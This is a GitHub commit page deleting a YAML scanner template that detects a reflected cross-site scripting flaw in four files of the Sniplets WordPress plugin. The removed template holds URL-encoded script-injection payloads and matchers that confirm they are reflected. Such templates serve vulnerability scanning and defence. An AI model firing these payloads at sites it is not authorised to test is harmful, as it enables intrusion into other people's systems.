Delete wp-sniplets-xss.yaml

patch-1
Dhiyaneshwaran 2022-02-12 23:38:15 +05:30 committed by GitHub
parent 30363093f5
commit 5d28b42d7e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 34 deletions

View File

@ -1,34 +0,0 @@
id: wp-sniplets-xss
info:
name: Wordpress Plugin Sniplets - XSS
author: dhiyaneshDK
severity: medium
description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets
reference: https://www.exploit-db.com/exploits/5194
tags: xss,wordpress,plugin
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E'
- '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/notice.php?text=%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E'
- '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/inset.php?text=%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E'
- '{{BaseURL}}/wp-content/plugins/sniplets/view/admin/submenu.php?url=%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- '><script>alert("document.domain")</script>'
part: body
- type: word
words:
- 'text/html'
part: header
- type: status
status:
- 200